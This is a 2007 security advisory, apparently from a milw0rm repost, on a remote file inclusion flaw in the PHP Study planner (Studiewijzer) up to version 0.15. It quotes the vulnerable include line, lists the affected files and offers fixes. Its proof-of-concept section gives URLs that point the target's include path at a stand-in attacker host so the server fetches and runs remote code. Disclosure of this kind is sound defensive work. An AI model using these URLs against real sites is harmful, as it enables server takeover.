114 lines
No EOL
3.8 KiB
Text
114 lines
No EOL
3.8 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/
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.OR.ID
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ECHO_ADV_77$2007
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-----------------------------------------------------------------------------------------
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[ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability
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-----------------------------------------------------------------------------------------
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Author : M.Hasran Addahroni
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Date : March, 21th 2007
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Location : Australia, Sydney
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Web : http://advisories.echo.or.id/adv/adv77-K-159-2007.txt
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Critical Lvl : Dangerous
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Impact : System access
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Where : From Remote
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : Study planner (Studiewijzer)
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version : <= 0.15
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Vendor : http://www.studiewijzer.nl/
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http://sourceforge.net/projects/splanner
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Description :
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A study planner, helping students to choose and plan the appropriate actions or tasks in order to reach their goals (PHP based)
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~
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- Invalid include function at inc/service.alert.inc.php :
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----------------inc/service.alert.inc.php-------------------
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<?php
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/**
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* Alerting service
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*
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* $Author: jebbol $
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* $Revision: 1.1 $
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* $Date: 2006/08/24 17:33:44 $
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*
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* @copyright Copyright (c) 2005-2006 Studiewijzer.nl
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* @link http://www.studiewijzer.nl
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* @license http://www.gnu.org/copyleft/gpl.html
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*/
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include_once ($SPL_CFG['dirroot'].'/class/stu.class.php');
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...
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----------------------------------------------------------------
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Variables $SPL_CFG['dirroot'] is not properly sanitized.
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When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
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also affected files :
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inc/settings.ses.php
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db/mysql/db.inc.php
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integration/shortstat/configuration.php
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methodology/traditional/class/ali.class.php
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methodology/traditional/class/cat.class.php
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methodology/traditional/ui/inc/cat_browse.inc.php
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methodology/traditional/ui/inc/chr_browse.inc.php
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methodology/traditional/ui/inc/chr_display.inc.php
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methodology/traditional/ui/inc/dash_browse.inc.php
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ws/spl.webservice.php
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ws/konfabulator/gateway_admin.php
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and more ..
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Poc/Exploit:
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~~~~~~~~~
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http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
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http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil?
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http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
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http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil?
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Solution:
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~~~~~~
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- Sanitize variable $SPL_CFG['dirroot'] on affected file.
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- Turn off register_globals
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---------------------------------------------------------------------------
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Shoutz:
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~~~~
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~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
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~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
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~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
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~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
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~ newbie_hacker@yahoogroups.com
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~ #aikmel #e-c-h-o @irc.dal.net
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---------------------------------------------------------------------------
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Contact:
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~~~~~
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K-159 || echo|staff || eufrato[at]gmail[dot]com
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Homepage: http://k-159.echo.or.id/
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-------------------------------- [ EOF ] ----------------------------------
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# milw0rm.com [2007-03-21] |